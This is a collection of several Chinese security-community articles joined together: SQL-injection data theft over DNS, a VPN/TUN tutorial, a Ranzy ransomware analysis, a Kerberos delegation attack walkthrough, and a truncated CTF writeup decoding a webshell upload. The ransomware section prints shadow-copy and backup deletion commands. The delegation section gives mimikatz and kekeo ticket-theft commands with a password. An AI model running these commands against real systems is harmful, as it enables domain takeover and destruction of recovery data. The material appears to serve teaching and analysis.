SQLMap现在已经可以自动完成这个任务，随着SQLMap的升级完成，攻击者可以使用此技术进行快速而低调的数据检索，尤其是在其他标准方法失败的情况下。当其他更快的SQL注入（SQLI）数据检索技术失败时，攻击者通常会使用逐位检索数据的方法，这是一个非常繁杂而费时的流程。因此，攻击者通常需要发送成千上万的请求来获取一个普通大小的表的内容。这里提到的是一种攻击者通过利用有漏洞数据库管理系统（DBMS）发起特制的DNS请求，并在另一端进行拦截来检索恶意SQL语句结果（例如管理员密码），每个循环可传输几十个结果字符的技术。
#### Microsoft SQL Server
扩展存储程序是一个直接运行在微软的地址空间库SQL服务器（MSSQL）的动态链接。有几个未被公开说明的扩展存储程序对于实现本文的目的特别有用的。
攻击者可以使用MicrosoftWindows通用命名约定（UNC）的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。Windows系统的UNC语法具有通用的形式：
`\\ComputerName\SharedFolder\Resource`
攻击者能够通过使用自定义制作的地址作为计算机名字段的值引发DNS请求。
##### master..xp_dirtree
扩展存储程序`master..xp_dirtree（）`用于获取所有文件夹的列表和给定文件夹内部的子文件夹：
`master..xp_dirtree'<dirpath>'`
例如，要获得`C:\Windows run:`里的所有文件夹和子文件夹：
`EXECmaster..xp_dirtree 'C:\Windows';`
##### master..xp_fileexist
扩展存储程序`master..xp_fileexist（）`用于确定一个特定的文件是否存在于硬盘：`xp_fileexist
''`例如，要检查boot.ini文件是否存在于磁盘C 运行:
`EXECmaster..xp_fileexist 'C:\boot.ini';`
##### master..xp_subdirs
扩展存储程序`master..xp_subdirs（）`用于得到给定的文件夹内的文件夹列表：
`master..xp_subdirs'<dirpath>'`
例如，要获得`C:\Windows`中的所有次级文件夹:
`EXECmaster..xp_subdirs 'C:\Windows';`
#### Oracle
Oracle提供的PL/ SQL包被捆绑在它的Oracle数据库服务器来扩展数据库功能。为了实现本文的目的，其中几个用于网络接入的包值得注意。
`UTL_INADDR.GET_HOST_ADDRESS`
`UTL_INADDR`包用于互联网的寻址--例如检索本地和远程主机的主机名和IP的地址。
它的成员函数`GET_HOST_ADDRESS()`用于检索特定主机的IP：
`UTL_INADDR.GET_HOST_ADDRESS('<host>')`
例如，为了获得test.example.com的IP地址，运行：
`SELECTUTL_INADDR.GET_HOST_ADDRESS('test.example.com');`
##### UTL_HTTP.REQUEST
UTL_HTTP包用于从SQL和PL/SQL中标注出HTTP。它的程序REQUEST()回从给定的地址检索到的第1-2000字节的数据：`UTL_HTTP.REQUEST('')`
例如，为了获得<http://test.example.com/index.php页面的前两千字节的数据，运行：>
`SELECTUTL_HTTP.REQUEST('http://test.example.com/index.php') FROM DUAL;`
##### HTTPURITYPE.GETCLOB
HTTPURITYPE类的实例方法GETCLOB()返回从给定地址中检索到的CLOB（Character Large
Object）HTTPURITYPE('').GETCLOB()
例如，从页面<http://test.example.com/index.php开始内容检索运行：>
`SELECTHTTPURITYPE('http://test.example.com/index.php').GETCLOB() FROM DUAL;`
##### DBMS_LDAP.INIT
DBMS_LDAP包使得PL/SQL程序员能够访问轻量级目录访问协议（LDAP）服务器。它的程序INIT()用于初始化与LDAP服务器的会话：`DBMS_LDAP.INIT(('',)`
例如：初始化与主机test.example.com的连接运行：
`SELECTDBMS_LDAP.INIT(('test.example.com',80) FROM DUAL;`
攻击者可以使用任何以上提到的Oracle子程序发起DNS请求。然而，在Oracle
11g中，除了DBMS_LDAP.INIT()以外的所有可能导致网络访问子程序都受到限制。
#### MySQL
##### LOAD_FILE
MySQL的函数LOAD_FILE()读取文件内容并将其作为字符串返回：LOAD_FILE('')
例如，要获取C:\Windows\system.ini文件的内容运行：
`SELECTLOAD_FILE('C:\\Windows\\system.ini') ;`
#### 实操
在SQLMap运行时，`union`和`error-based`技术具有最高优先级，主要因为他们的速度快而且不需要特殊的要求。
因此，只有当inference技术方法是可用的，且选项`--dns-domain`被用户明确设置时，SQLMap才会打开对DNS渗出的支持。每个DNS解析请求结果都被按照RFC1034规定的DNS域名标准编码为十六进制格式。
这种方式使得最终一切非单词字符都能被保留。此外，表示较长的SQL查询结果的十六进制被分割。这是必须的，因为整个域名内的节点标签（如.example.）被限制在63个字符长度大小。
## 参考链接
[Data Retrieval over DNS in SQL Injection Attacks
(arxiv.org)](https://arxiv.org/ftp/arxiv/papers/1303/1303.3047.pdf)
[注入攻击新方式：通过DNS隧道传输恶意载荷 - 安全内参 | 决策者的网络安全知识库
(secrss.com)](https://www.secrss.com/articles/34460) | 社区文章 |
**作者：0x7F@知道创宇404实验室
时间：2021年7月21日 **
### 0x00 前言
最近在工作中遇到 VPN 的相关问题，之前一直对 VPN 的原理存在一些疑惑，借此机会学习一下 VPN 的原理以及进行实现验证。
由于 VPN 在不同系统下的实现方式不同，为了便于学习和理解，这里我们选择 `Linux` 环境，我本地测试环境使用的是 `Ubuntu 18.04
x64`。
本文从 TUN/TAP 出发，逐步理解 VPN 中的技术细节；并结合
[simpletun](https://github.com/gregnietsky/simpletun) 源码，进行 VPN 的原理验证。
### 0x01 VPN是什么
VPN 全称为虚拟私人网络(Virtual Private
Network)，常用于连接中、大型企业或团体间私人网络的通讯方法，利用隧道协议（Tunneling
Protocol）来达到发送端认证、消息保密与准确性等功能。
比如多地办公的公司，可以使用 VPN 将不同地区连接在同一内网下；或者在家办公的时候也可以通过 VPN 接入公司内网中。
VPN 以 CS 架构运行，工作流程如下：
1.VPN工作流程
在外网的用户可以使用 `vpn client` 连接组织搭建的 `vpn server` 以建立通信隧道，随后便建立了虚拟的私人网络，处于外网的
`worker` 和内网中的 `server` 可以相互通信。
那么我们可以简单理解 VPN，由 `VPN client` 捕获用户发出的报文，封装报文后通过物理网络通信链路将报文发给 `VPN server`，`VPN
server` 接收到报文后进行解包，再将其转发给实际的目标，反之同理； VPN 在逻辑层面构建了虚拟网络。
### 0x02 TUN/TAP
那么在代码层面 VPN 是如何实现的呢？我们可以先来看看 TUN/TAP。
TUN/TAP 是操作系统内核中的虚拟网络设备，由软件进行实现，向操作系统和应用程序提供与硬件网络设备完全相同的功能。其中 TAP
是以太网设备(二层设备)，操作和封装以太网数据帧，TUN 则是网络层设备(三层设备)，操作和封装网络层数据帧。
当应用程序发出报文后，报文将通过操作系统协议栈处理，到达网络设备，硬件网络设备将收到的报文转化为电信号发出，而虚拟网络设备(TUN/TAP)不具备实际的物理功能，报文需要上层应用进行处理，如下：
2.硬件/虚拟网络设备
我们直接使用命令创建 TUN/TAP 设备，并进行测试：
# ip tuntap 创建名为 tun0 的 tun 设备
sudo ip tuntap add dev tun0 mod tun
# 为 tun0 配置 ip
sudo ifconfig tun0 192.168.0.10 netmask 255.255.255.0
# 查看 tun0 网卡
ifconfig tun0
如下：
3.通过命令创建TUN设备
在 VPN 中我们可以借助 TUN/TAP 来捕获用户发出的报文。
### 0x03 虚拟通信链路
按照 TUN/TAP 的工作特性，我们可以编写程序直接读写虚拟网卡(也就是物理网卡实际收发报文的过程)，来实现捕获用户数据以及传递用户数据。(TUN 和
TAP 有不同的应用场景，下文我们将以更简单的 TUN 作为例子)
随后，位于不同主机上的程序通过 socket 进行通信，将从虚拟网卡的接收的数据通过 socket 发送给对端，这就是一个 VPN 的雏形了，如下：
4.虚拟通信链路工作流程
`simpletun` 是这种方案的最小实现(源码仅 300+ 行，感兴趣的小伙伴可以自行学习)，在源码中实现了创建虚拟网络设备以及 socket
通信，借助 `simpletun` 可以帮助我们快速进行验证。
需要注意一点，`simpletun` 启动后需要我们手动配置虚拟网卡的 ip 地址，当 ip
地址未配置时，两端相互发送数据(部分操作系统会自动发送)会造成程序异常退出，所以在代码中添加一个 `sleep(30)` 便于我们配置 ip 地址：
5.在simpletun中添加sleep
在两台 `Ubuntu` 测试环境下配置并进行验证：
# A主机
# 编译 simpletun
gcc simpletun.c -Wall -o vpn
# 作为 vpn server 启动，并开启 debug，默认监听 55555
sudo ./vpn -i tun0 -s -d
# 配置 tun 网卡地址
sudo ifconfig tun0 192.168.0.10 netmask 255.255.255.0
# B主机
# 编译 simpletun
gcc simpletun.c -Wall -o vpn
# 作为 vpn client 启动，连接 server，并开启 debug
sudo ./vpn -i tun0 -c 10.11.33.50 -d
# 配置 tun 网卡地址
sudo ifconfig tun0 192.168.0.11 netmask 255.255.255.0
此时两台主机位于 `192.168.0.0/24` 虚拟网络网段下，可以相互通信，如下：
6.虚拟通信链路两端通信
### 0x04 访问内网网段
在上文的验证中，我们可以实现两端的虚拟网络搭建和通信，但实际 VPN 的使用场景是需要通过 VPN 访问整个内网网段，在这种使用场景下，VPN server
至少配置有两张物理网卡，其中一张接入内网网段，另一张则连接到互联网。
按照 `0x03 虚拟通信链路` 的链路，VPN client 发送报文到内网主机，VPN server 接收到该报文后，将其写入到虚拟网卡中，随后报文进入
TCP/IP 协议栈，但是由于 IP 地址不是 VPN server
自己，该报文会被丢弃，无法正常进行通信；这里我们需要借助「报文转发」，将内网报文从虚拟网卡转发到内网网卡上。其新的工作流程如下：
7.VPN访问内网网段
> VPN server 一般会作为内网网关，内网主机无需任何额外配置就可以在虚拟网段下正常工作。
我们按照该流程配置测试环境，复用 `0x03 虚拟通信链路` 中的环境，在 VPN server 上我们使用 docker
模拟内网网段和主机，其环境搭建如下：
8.VPN测试环境搭建
然后按照 `0x03 虚拟通信链路` 中的方式，启动 `simpletun` 并使用 `ifconfig` 配置 ip
地址，创建虚拟通信链路；使用如下命令开启报文转发：
# 临时开启报文转发
echo "1" > /proc/sys/net/ipv4/ip_forward
> 实际上在该测试环境下，docker 会自动开启报文转发
再通过 `iptables` 配置转发策略，如下：
# 将入口网卡、来源ip为 192.168.0.0/24 转发至 docker0
sudo iptables -A FORWARD -i tun0 -s 192.168.0.0/24 -o docker0 -j ACCEPT
# 将入口网卡、目的ip为 192.168.0.0/24 转发至 tun0
sudo iptables -A FORWARD -i docker0 -d 192.168.0.0/24 -o tun0 -j ACCEPT
> 实际上在该测试环境下，第二条可以不用配置，因为 docker 会自动配置转发策略，会覆盖这条策略
除此之外，为了在 VPN client 可以访问到内网主机，需要手动添加路由：
# VPN client 添加内网网段路由，设置为虚拟网络设备 tun0
sudo route add -net 172.17.0.0/24 tun0
此时 VPN 配置完成，内网主机和 VPN client 相互连通：
9.内网主机访问以及验证
### 0x05 拓展
上文中我们使用最小实现验证了 VPN 的工作原理，但是实际场景却比这个复杂很多，这里我们简单抛出一些问题作为拓展学习。
**1.VPN作为网关？**
VPN server 一般作为网关进行配置，内网主机不用进行额外配置，也可以把报文发送给 VPN server。
**2.UDP通信链路？**
在 `simpletun` 中 VPN server 和 client 之间使用 TCP 进行通信，但是在实际场景一般使用 UDP 进行通信。
当使用 TCP 作为通信隧道时，并且上层应用也使用 TCP，也就是 `tcp in tcp`，当出现丢包时，上层应用的 TCP 和 VPN 通信隧道的
TCP 都会进行重传，从而通信中出现大量的重传报文，降低通信效率；如果在这种情况下，以 UDP 作为通信隧道，`tcp in
udp`，丢包后将只由上层应用的 TCP 进行重传。
**3.etc**
### 0x06 总结
最后感谢 rook1e@知道创宇404实验室 小伙伴同我一起学习和研究，解决了诸多问题。
本文从 VPN 原理出发，介绍了关键作用的 TUN/TAP 虚拟网络设备，并结合 `simpletun`
创建了两端的虚拟通信链路，最后配合报文转发，实现并验证了 VPN 的通信工作原理。
VPN 的实现较为简单，但涉及到各种细枝末节的网络知识；这里的最小验证，可以为我们实现更为复杂的 VPN 或基于 VPN 技术的其他项目提供参考。
* * *
References:
<https://zh.wikipedia.org/wiki/%E8%99%9B%E6%93%AC%E7%A7%81%E4%BA%BA%E7%B6%B2%E8%B7%AF>
<https://zhaohuabing.com/post/2020-02-24-linux-taptun/>
<https://www.cnblogs.com/sparkdev/p/9262825.html>
<https://serverfault.com/questions/39307/linux-ip-forwarding-for-openvpn-correct-firewall-setup>
<https://liuyehcf.github.io/2019/08/25/OpenVPN-%E8%BD%AC%E8%BD%BD/>
<https://yunfwe.cn/2018/05/24/2018/%E4%B8%80%E8%B5%B7%E5%8A%A8%E6%89%8B%E5%86%99%E4%B8%80%E4%B8%AAVPN/>
<https://github.com/gregnietsky/simpletun>
* * * | 社区文章 |
**原文链接：<https://labs.sentinelone.com/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/>**
**译者：知道创宇404实验室翻译组**
### 背景
Ranzy勒索软件出现在今年9月/10月，似乎是ThunderX和Ako勒索软件的变体。Ranzy有一些关键的更新，包括加密的调整，过滤的方法，以及使用公开的“leak
blog”为那些不遵守赎金要求的人发布受害者数据。
### Ranzy勒索软件的演变
Ranzy的核心是提供RaaS。有效负载通常是通过电子邮件（网络钓鱼）分发的，也有一些报告说是通过网络分发（通过驱动下载）的。从ThunderX到Ranzy的“rebrand”发生在ThunderX的[免费解密程序](https://www.nomoreransom.org/en/decryption-tools.html
"免费解密程序")出现之后。今年9月，在[NoMoreRansom](https://www.nomoreransom.org/en/decryption-tools.html "NoMoreRansom")项目上发布了一个针对ThunderX的免费解密工具。
这种“rebrand”将攻击者与ThunderX拉开距离，并改进了加密机制，降低了未来免费解密工具的可行性。ThunderX在2020年8月左右出现，值得注意的是，一些早期的Ako样本是在2020年1月左右观察到的。
正如我们在Ako和ThunderX中观察到的那样，攻击者主要的发送方法是带有恶意有效负载的电子邮件（phish）。当前示例（Ranzy Locker
1.1）将`.Ranzy`扩展名附加到加密文件（早期版本仅使用`.RNZ`）。值得注意的是，目前Ranzy
Locker有效负载往往包括与其ThunderX祖先相同的PDB补丁：
C:\Users\Gh0St\Desktop\ThunderX\Release\LockerStub.pdb
### 改进的加密程序
Ranzy使用一种加密算法组合来影响目标数据。勒索软件的有效负载中内置了一个RSA-2048密钥，而Salsa20用于特定的文件/数据加密。Ranzy包含定位和加密其他本地驱动器（`GetLogicalDrives`）的功能，以及邻近的（可访问的）网络驱动器（`NetShareEnum`）的功能。
像ThunderX和Ako一样，Ranzy将尝试通过扩展名加密多种文件类型，同时排除基于字符串的特定扩展名and/or
路径。不包含`.dll`、`.exe`、`.ini`、`.lnk`、`.key`、`.rdp`的文件是关键。该勒索软件还将排除带有特定字符串的关键路径，这些字符串包括
**AppData** 、 **boot** 、 **PerfLogs** 、 **PerfBoot** 、 **Intel** 、
**Microsoft** 、 **Windows** 和 **Tor Browser** 。
一旦启动，Ranzy有效负载将采取许多措施，以确保最大的影响（加密）以及在可能的情况下抑制标准恢复选项。特定的命令和语法可能因Windows版本和风格而异。这包括使用标准系统工具来操作VSS和时间恢复选项。
执行后，勒索软件会快速调用WMIC.EXE，语法如下:
wmic.exe SHADOWCOPY / nointeractive
然后发出以下WBADMIN、BCDEDIT和VSSADMIN命令，以将受害主机切换到所需的受损状态：
wbadmin DELETE SYSTEMSTATEBACKUP
wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
bcdedit.exe /set {default} recoveryenabled No
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
vssadmin.exe Delete Shadows /All /Quiet
Ranzy Locker利用Windows的[Restart Manager](https://docs.microsoft.com/en-us/windows/win32/rstmgr/restart-manager-portal "Restart
Manager")API来协助终止任何有问题的进程，阻止加密或进一步操纵目标系统。一旦Ranzy的进程开始，explorer.exe或其他正在运行的进程迅速退出并重新启动的情况并不少见。
所分析的两个Ranzy版本似乎都保留了最初在ThunderX中出现的相同的多线程功能。负载将首先通过`GetSystemInfo()`标识可用处理器的数量。接下来，勒索软件将利用`IoCompletionPort`生成一个要加密的文件队列。然后，勒索软件能够分配一定数量的线程（相当于识别的处理器数量的2倍）。与Maze或NetWalker相比，这种加密速度具有相当大的竞争力（因此非常危险）。
### 加密
Ranzy的赎金记录存放在每个包含受影响文件/数据的文件夹中。在分析的所有版本中，这些文件始终使用名称 **readme.txt**
标识。不同版本的勒索软件的赎金注释有细微的变化。尽管如此，ThunderX、Ranzy和Ranzy1.1的基本结构和内容都非常相似。
Ranzy和Ranzy 1.1 ransom勒索示例如下：
赎金记录之间最大的区别可能是使用Ranzy
1.1，受害者被指示访问基于TOR的门户以进行支付、进一步的指示和“support”（实时聊天）。以前只是指示受害者通过电子邮件与他们联系以获取进一步的指示。
目前，不合规的受害者正在该组织的博客上分类，名为“ Ranzy
Leak”。截至撰写本文时，该站点上列出了3位受害者，分别代表电气工程，安全和调查以及政府管理行业。
### 结论
Ranzy，ThunderX和Ako家族是攻击者快速发展的又一个例子。只需少量资金支持，任何恶意攻击者都可以访问和管理Ranzy这样的勒索软件，并可能造成巨大的财务损失。众所周知，这种损害不仅限于直接支付赎金，还包括与数据泄露，公开发布私人数据，GDPR
/合规性影响等相关的处罚。
攻击者非常关注防御措施，例如，发布解密工具时，它们会快速更新代码，并开始分发更好、更强大的有效负载，从而使任何解决方案都失效。
### IOC
**SHA256**
c4f72b292750e9332b1f1b9761d5aefc07301bc15edf31adeaf2e608000ec1c9
393fd0768b24cd76ca653af3eba9bff93c6740a2669b30cf59f8a064c46437a2
90691a36d1556ba7a77d0216f730d6cd9a9063e71626489094313c0afe85a939
bbf122cce1176b041648c4e772b230ec49ed11396270f54ad2c5956113caf7b7
ade5d0fe2679fb8af652e14c40e099e0c1aaea950c25165cebb1550e33579a79
**SHA1**
43ccf398999f70b613e1353cfb6845ee09b393ca
35a663c2ce68e48f1a6bcb71dc92a86b36d4c497
38b86dacb1568af968365663c548bd9556fe0849
20102532dfc58bc8256f507da4a177850f349f7a
9a77e2f8bf0da35f7d84897c187e3aff322f024d
**MITRE ATT &CK**
Indicator Removal on Host: File Deletion
T[1070.004](https://attack.mitre.org/techniques/T1070/004/ "1070.004")
Modify Registry [T1112](https://attack.mitre.org/techniques/T1112/ "T111")
Query Registry [T1012](https://attack.mitre.org/techniques/T1012/ "T1012")
System Information Discovery
[T1082](https://attack.mitre.org/techniques/T1082/ "T1082")
Peripheral Device Discovery [T1120](https://attack.mitre.org/techniques/T1120/
"T1120")
Inhibit System Recovery [T1490](https://attack.mitre.org/techniques/T1490/
"T1490")
Create or Modify System Process: Windows Service
[T1031](https://attack.mitre.org/techniques/T1543/003/ "T1031")
Exfiltration [TA0010](https://attack.mitre.org/tactics/TA0010/ "TA0010")
* * * | 社区文章 |
## 什么是委派
如果在一个域中，`A`使用`Kerberos`身份验证访问服务`B`，`B`再使用`A`的身份去访问`C`，这个过程就可以理解为委派，委派主要分为非约束委派（Unconstrained
delegation）和约束委派（Constrained
delegation）两种，只有当`A`有权限访问`C`的时候才能委派成功，因为`B`使用的是`A`的身份去访问`C`
### 非约束委派
非约束委派在`Kerberos`中实现时，`User`会从`KDC`处得到的`TGT`发送给委派对象`Service1`，`Service1`拿到`TGT`后可以通过`TGT`访问域内任意其它服务，所以被称为非约束委派
实现流程图如下（图来自微软手册）
1.用户通过发送KRB_AS_REQ消息请求可转发 TGT（forwardable TGT，为了方便我们称为TGT1）。
2.KDC在KRB_AS_REP消息中返回TGT1。
3.用户再通过TGT1向KDC请求转发TGT（forwarded TGT，我们称为TGT2）。
4.在KRB_TGS_REP消息中返回转发TGT2。
5.用户使用TGT1向KDC申请访问Service1的ST（Service Ticket）。
6.TGS返回给用户一个ST。
7.用户发送KRB_AP_REQ请求至Service1，这个请求中包含了TGT1和ST、TGT2、TGT2的SessionKey。
8.Service1使用用户的TGT2通过KRB_TGS_REQ发送给KDC，以用户的名义请求能够访问Service2的票据。
9.KDC在KRB_TGS_REP消息中返回Service2到Service1的票据。
10.Service1以用户的名义像Service2发送KRB_AP_REQ请求。
11.Service2响应步骤10中Service1的请求。
12.Service1响应步骤7中用户的请求。
13.在这个过程中的TGT转发机制，没有限制Service1对TGT2的使用，也就是说Service1可以通过TGT2来请求任意服务。
14.KDC返回步骤13中请求的票据。
15和16即为Service1通过模拟用户来访问其他Service
非约束委派设置：
### 约束委派
由于非约束委派的不安全性，微软在`windows2003`中发布了约束委派的功能。约束委派在`Kerberos`中`User`不会直接发送`TGT`给服务，而是对发送给`service1`的认证信息做了限制，不允许`service1`代表`User`使用这个`TGT`去访问其他服务。这里包括一组名为`S4U2Self（Service
for User to Self）`和`S4U2Proxy（Service for User to Proxy）`的`Kerberos`协议扩展
`S4U2Self`和`S4U2proxy`的请求过程（图来自微软手册）：
1. 用户向service1发出请求。用户已通过身份验证，但service1没有用户的授权数据。通常，这是由于身份验证是通过Kerberos以外的其他方式验证的。
2. 通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。
3. KDC返回给Service1一个用于用户验证Service1的ST1，该ST1可能包含用户的授权数据。
4. service1可以使用ST中的授权数据来满足用户的请求，然后响应用户。
注：尽管S4U2self向service1提供有关用户的信息，但S4U2self不允许service1代表用户发出其他服务的请求，这时候就轮到S4U2proxy发挥作用了
5. 用户向service1发出请求，service1需要以用户身份访问service2上的资源。
6. service1以用户的名义向KDC请求用户访问service2的ST2
7. 如果请求中包含PAC，则KDC通过检查PAC的签名数据来验证PAC，如果PAC有效或不存在，则KDC返回ST2给service1，但存储在ST2的cname和crealm字段中的客户端身份是用户的身份，而不是service1的身份。
8. service1使用ST2以用户的名义向service2发送请求，并判定用户已由KDC进行身份验证。
9. service2响应步骤8的请求。
10. service1响应用户对步骤5中的请求。
约束委派的设置：
然后就可以添加允许委派请求的服务了
## 发现域中委派的计算机和用户
### PowerView
`Powerview`有两个版本，一个在`dev`分支：<https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>
一个在`master`分支：<https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>
`dev`分支能够使用`Get-DomainUser`查询域中约束委派的计算机和用户而`master`分支目前我还不知道怎么查询，`dev`分支查询的信息更详细一些
#### 非约束委派
这里使用的是`master`分支
查询域中所有非约束委派用户
Get-NetUser -Unconstrained -Domain de1ay.com
当然我这里没有设置，所以查询结果为空
查询域中所有非约束委派计算机
Get-NetComputer -Unconstrained -Domain de1ay.com
#### 约束委派
这里使用的是`dev`分支
查询域中所有约束委派用户
Get-DomainUser –TrustedToAuth -domain de1ay.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
查找域中配置约束委派的主机：
Get-DomainComputer -TrustedToAuth -Domain de1ay.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
## 域委派攻击
假设我们现在已经获取域内一个已经配置了委派的账户权限或是密码，现在我们通过这个条件来攻击其它账户
### 非约束委派攻击利用
在一个域中只有服务账号才有委派功能，使用如下命令将`ghtwf01`设为服务账号
setspn -U -A variant/golden ghtwf01
通过`setspn -l ghtwf01`查看是否成功设置
然后将`ghtwf01`设置为非约束委派
然后诱导域管理员登录`ghtwf01`服务账号所在主机，方法很多，比如`WinRM`服务远程连接或者域管理员账号登录目标主机等
这个时候域管理员的`TGT`已经缓存到域成员主机了，使用`mimikatz`就可以导出
使用`sekurlsa::tickets /export`命令导出内存中所有的票据(需要管理员或者系统权限)
圈内文件就是`Administrator`发送的`TGT`
这个时候访问域控目录是权限不够的
利用`kerberos::ptt`将`Administrator`的`TGT`导入，这个时候就能成功访问域控目录了
一句话总结非约束委派攻击，其实就是诱导某用户访问这台主机这个服务账号得到它的`TGT`，就能利用它的身份去访问所有服务了，这里举的例子就是诱导域管理员访问，得到域管理员的`TGT`从而拥有域管理员权限
### 约束委派攻击利用
将`ghtwf01`账户设置为约束委派
使用`powerview`验证一下是否成功设置，查询一下约束委派用户
已知`ghtwf01`账户密码就可以直接使用`kekeo`向域控发起申请`TGT`的请求
tgt::ask /user:ghtwf01 /domain:de1ay.com /password:1qaz@WSX /ticket:ghtwf01.kirbi
然后利用得到的`TGT`去`TGS`申请`ST`票据
tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/DC.de1ay.com
现在这个账户是没有权限的
将`ST`票据导入，成功访问域控(cifs服务)
#### 利用约束委派打造变种黄金票据
拿下域控后可以通过抓取`krbtgt`的`hash`来构造黄金票据，通过约束委派也能达到同样的效果，也算是一种操作思路
在域控管理界面中无法添加访问`krbtgt`，但是可以利用`ActiveDirectory`在`powershell`中添加
Import-Module ActiveDirectory
$user = Get-ADUser ghtwf01
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/de1ay.com") }
这个时候发现成功添加
既然可以访问`krbtgt`了，那么也就可以获取任意用户的`TGT`了
先使用`kekeo`获取`ghtwf01`的用户的`TGT`，和上面一样
tgt::ask /user:ghtwf01 /domain:de1ay.com /password:1qaz@WSX /ticket:ghtwf01.kirbi
然后通过`ghtwf01`的`TGT`向`krbtgt`获取`Administrator`的`TGT`
tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:krbtgt/de1ay.com
然后将得到的票据通过`kerberos::ptt`导入就能以域管理员身份访问域控
通过`Enter-PSSession`或者`psexec`或者`wmiexec`都可以拿`shell`执行命令
## 防御方法
1.高权限用户设置不能被委派
2.使用受保护的用户组`Protected Users`(windows server 2012以上才有)
## 参考链接
<https://xz.aliyun.com/t/2931>
<https://paper.seebug.org/620/>
<https://xz.aliyun.com/t/7217>
<https://www.anquanke.com/post/id/173477> | 社区文章 |
# 金融业网络安全攻防大赛部分题目writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## misc
### 1.backdoor
打开backdoor数据包，观察发现攻击者访问/uploads/security.php，并post数据。中间段代码是base64加密的，解密后如下代码可疑：
Base64解密结果：
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$f='C:\phpStudy\WWW\uploads\reverseshell.zip';$c=$_POST["z1"];$c=str_replace("r","",$c);$c=str_replace("n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode('%'.substr($c,$i,2));echo(@fwrite(fopen($f,'w'),$buf)?'1':'0');;echo("X@Y");die();
读代码发现是对z1参数进行操作，生成reverseshell.zip文件
<?php
$c = "504B0304140000000800288DC34C58BD2C542C0500002C0700000E000000313532383031383837352E706E676D956D54926718C7B12C4D33ED45CD94B034E9D4C9B6F2A5D4503B1A5A274CB1B2E341A798D35EA82D4D110173B9AD48C8B9B2A395A5A8684C84694D54B0B65646BA91C0A333C2487C8530ECE909151C7E4BE19CDFFD7CB8CF7D5FE77F5FD7F5BF9E2B47306807BB0D763018CC213A2A220E06B35A3FBF6C9798766CD59401186CF9547444787CEE6D8D3C96FE6ECFCA659D3DA95AAAEACD52F6CAA8412F955F03CA66DF43E550386C0BB652A15020EE0D570E2C2D10865DF7FC9241854A484155BEFD4E7D8B2DD1865E52B1EE1A67C488E3A6CFEF7C63B62B42C4ACB3397DA01016BE80826C3D69EC8E74A44B790E0B12E71834460DAAA09A94BDAE45A1F79AFDDA2BFCB26778C1177486EB49F582C84709FFB2013AF4A019744C64DF105E28FB081AF702D4CBA1E9DE3F3B79DB7E09EBA65031C67AF19A8B20F2BCE512728D406AC8C3517E715BB1C47A21C6747D5B3D1485436BB5D1C06903E7A499DA79C1E341AFC01BC5CAEDB0987297FC727AAD667D58EFF8B16755BD20E22DC36DC5E6454157BD5050B31FE5A3F1F0A5B9D3EFAA00A36D779493E74226897FF6F45FED7210A3CBE4817B0BE8FBE4871D6684347385C3E5A3819A0139878BD9F8208F999071F7B593A187E4FF5B98074E76CDDAAA7021525D4E07A18F3B95A363F54EB400B58EC1C422EECD51508422EF4C5F982413197BA7752C425FEC34BB8C490BE671722288711E09860A78A286E5D8F9FEDC2D1F33DD5F411B220D4C71570F6A06CA1BD9EE5E7A07AC40A9D35CEF07ED5E636DBB90663F71657E7155639F7A384FC4F42AC54D069F5295C624BA6E5A1CB8C9971AE3125D7635F1090D08E19F3124C1C7491A48EA1A40F74D6C2FF1DD3F99B4E89D366D42DA3E35C38E078FD4545BA919E379C9FA6AA516ECF8548AB868A1CE28B87424AF98572F49F2E864A6DECFFF1E82C4EB7D84FD7452266549B1B5D979192776DD71F7719A33DCDEFE703781DE782299B3B5BC1D48739C9978699694264AB17270CEF1624D6B92CF1BE83F253864BF0BDF62ACF599469B1F3E7FFE4735B8DCEFA9306403157BA18AFC1439F93105098181E00411699E448FDB9B667A367E02D02DD426B5D879DCA083E63EB7D975CF01F1BF86A69A9BEB876164A9212CE8FDD1D0632D99100496E7F6B636E283479103C21093B70A16798B3F2B8FDDDCFE2660DAC1F92DD74AE20FBA55CEA623735A2A4A3C17B97DDEF046371EBCAE3CA0E30057D21C72D44FFFEAA0BC2F351D61AE3ABE6274A7545452BA654C799271F01160DF7D088E76F1C0A5E8EA6A684EED65161C9E193C0556631427EA1A2BCE5C6E8E6F3F4EE690D79A47668B14A5D211BA08F3FE3961DBF300693D64D344E500379990146DEEDEF959C3F636A4093F0F64C94E61C1563C2E8527D60FA13E18ACDA2F99F78989866F9F63F8145606F931132F9DB853DD909CA2CB559263A05D96B28763BB07C03FF66749329F3D7000FF0E021847C99A354F045D96065FABEF7EB420437BA14322E08C71F3C54087242BE4C96A8B4527E13ECCF6D69276F867CB76DEDD7104D1C9CCA18F5F31572C53696BBA5EE0B94654FF2CD334CAB01F72E61ECB62C49A3D9C8794223A72127FA0D076718FE8A038ACB66415B8ED6CEF4F9A0CA1E96A1A6FAB826974BE65A9ECF7F8F42C1C79D9601B5F7AA63C24E153C62582EEA552E9BED642774F822A2DF9305985FCE7FAD96DD181FE32E28868F521708B93851E1129929B0FF1EBB93D436BFFA05C256011350691E021BEC4FC91A6890A044EB9F86B8C465FB8CD3046F697A215303EBB66BD7AD15CA80C3DF2AAC88243E7952176AF6B886B2408969BFE82B0E8484C44E3FE6F0AFF07504B01021400140000000800288DC34C58BD2C542C0500002C0700000E0000000000000000002000000000000000313532383031383837352E706E67504B050600000000010001003C000000580500000000";
$c=str_replace("r","",$c);
$c=str_replace("n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode('%'.substr($c,$i,2));
